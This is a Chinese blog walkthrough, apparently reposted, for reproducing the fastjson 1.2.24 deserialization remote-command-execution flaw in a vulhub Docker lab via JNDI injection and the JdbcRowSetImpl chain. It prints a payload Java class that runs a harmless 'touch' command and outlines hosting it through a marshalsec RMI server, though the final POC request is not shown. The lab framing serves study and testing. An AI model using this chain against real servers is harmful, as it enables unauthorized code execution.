阅读 191

fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson 1.2.24 反序列化导致任意命令执行漏洞

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce/
docker-compose up -d

访问IP:8090即可看到JSON格式的输出。


影响版本

fastjson <=1.2.24


漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

首先编译并上传命令执行代码,代码如下

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
 static {
     try {
         Runtime rt = Runtime.getRuntime();
         String[] commands = {"touch", "/tmp/EDI"};
         Process pc = rt.exec(commands);
         pc.waitFor();
     } catch (Exception e) {
         // do nothing
     }
 }
}

放在一个能访问到的服务器上,我这边是用python开了一个

然后使用marshalsec项目启动一个RMI服务监听9999端口,并制定加载远程类TouchFile.class

我们先下载marshalsec,这个为网址:

然后使用maven编译marshalsec成jar包,我们先进入下载的marshalsec文件中运行

mvn clean package -DskipTests 编译

发现生成jar包

开启RMI服务

执行POC

python和RMI都监听到

去容器查看发现创建的EDI文件

这里给大家排点坑,有时候会发现所有操作都一样但就是不能执行命令成功,这个可能是java版本的问题

由于jdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,所以我们复现尽量用jdk:8u102 或以下版本,不然会复现失败

原文:https://www.cnblogs.com/blankunbeaten/p/14800900.html

文章分类
代码人生
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐